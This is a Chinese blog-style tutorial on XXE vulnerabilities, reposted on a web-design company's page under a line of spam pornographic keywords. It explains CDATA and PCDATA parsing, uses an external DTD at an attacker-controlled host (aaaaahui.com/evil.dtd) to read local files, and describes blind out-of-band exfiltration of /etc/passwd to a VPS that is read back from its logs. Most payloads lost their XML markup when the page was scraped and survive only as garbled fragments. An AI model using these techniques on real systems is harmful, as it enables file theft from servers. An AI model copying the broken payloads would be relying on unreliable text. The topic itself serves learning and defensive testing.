真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何理解XXE漏洞

這篇文章給大家介紹如何理解XXE漏洞,內(nèi)容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

成都創(chuàng)新互聯(lián)服務(wù)項目包括昂仁網(wǎng)站建設(shè)、昂仁網(wǎng)站制作、昂仁網(wǎng)頁制作以及昂仁網(wǎng)絡(luò)營銷策劃等。多年來,我們專注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢、行業(yè)經(jīng)驗、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,昂仁網(wǎng)站推廣取得了明顯的社會效益與經(jīng)濟效益。目前,我們服務(wù)的客戶以成都為中心已經(jīng)輻射到昂仁省份的部分城市,未來相信會繼續(xù)擴大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任!

讀取文件時有特殊符號

在讀取文件時,文件中包含"<,>,&"等這些特殊符號時,會被xml解析器解析,報錯從而導(dǎo)致讀取失敗,例如嘗試讀取以下文件

C:\test.txt

內(nèi)容:

payload:


]>
&xxe;

如何理解XXE漏洞

可以看到與讀system.ini不同,這里報錯了,想知道原因需要了解CDATA和PCDATA

PCDATA

PCDATA 指的是被解析的字符數(shù)據(jù)(Parsed Character Data)。

XML 解析器通常會解析 XML 文檔中所有的文本。

當(dāng)某個 XML 元素被解析時,其標(biāo)簽之間的文本也會被解析:

此文本也會被解析

解析器之所以這么做是因為 XML 元素可包含其他元素,就像這個例子中,其中的 元素包含著另外的兩個元素(first 和 last):

BillGates

而解析器會把它分解為像這樣的子元素:


Bill
Gates

CDATA

術(shù)語 CDATA 指的是不應(yīng)由 XML 解析器進行解析的文本數(shù)據(jù)(Unparsed Character Data)。

在 XML 元素中,"<" 和 "&" 是非法的。

"<" 會產(chǎn)生錯誤,因為解析器會把該字符解釋為新元素的開始。

"&" 也會產(chǎn)生錯誤,因為解析器會把該字符解釋為字符實體的開始。

某些文本,比如 JavaScript 代碼,包含大量 "<" 或 "&" 字符。為了避免錯誤,可以將腳本代碼定義為 CDATA。

CDATA 部分中的所有內(nèi)容都會被解析器忽略。

CDATA 部分由 "" 結(jié)束:

在上面的例子中,解析器會忽略 CDATA 部分中的所有內(nèi)容。

關(guān)于 CDATA 部分的注釋:

CDATA 部分不能包含字符串 "]]>"。也不允許嵌套的 CDATA 部分。

標(biāo)記 CDATA 部分結(jié)尾的 "]]>" 不能包含空格或折行。

我們的思路就是把讀取的文件放在CDATA中之后再調(diào)用,那么構(gòu)造一個POC如下


 ]]>"
>]
% xxe;>
&start

但是還是讀不出來,如下圖:

如何理解XXE漏洞直接放正確的payload,然后再講解原因




">
 %dtd;
]> 
&all;

http://aaaaahui.com/evil.dtd

如何理解XXE漏洞可以看到這個payload是可以成功讀取文件的,對比兩個payload

如何理解XXE漏洞

如何理解XXE漏洞

兩個payload的邏輯都是一樣的,不過第二個是調(diào)用的外部的dtd文檔就可以,這是因為在xml中,xml 解析器有個限制:不能在內(nèi)部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止內(nèi)部參數(shù)實體引用。

無回顯xxe漏洞利用

現(xiàn)在很多xxe漏洞都是沒有回顯的,下面是再沒有回顯的時候可以的利用方式。

思路就是在沒有回顯的時候,我們將讀取的文件帶出來,舉一個例子就是,我們?nèi)绻麑?etc/passwd文件賦給實體test,那么我們在訪問http://www.aaaaahui.com/?%test時,我們 %remote; %send; ]> 1234

xml.dtd

">%start

%是%的html實體編碼,因為在xml.dtd的實體中不能有%

實驗如下圖

如何理解XXE漏洞

查看日志文件

如何理解XXE漏洞

這里我們讀取的文件已經(jīng)帶出來了,那么原理就是將文件賦給實體后帶著訪問我們的vps然后在日志文件中就能看到我們讀取的文件了。

關(guān)于如何理解XXE漏洞就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。


文章名稱:如何理解XXE漏洞
文章來源:
http://weahome.cn/article/jhpjse.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部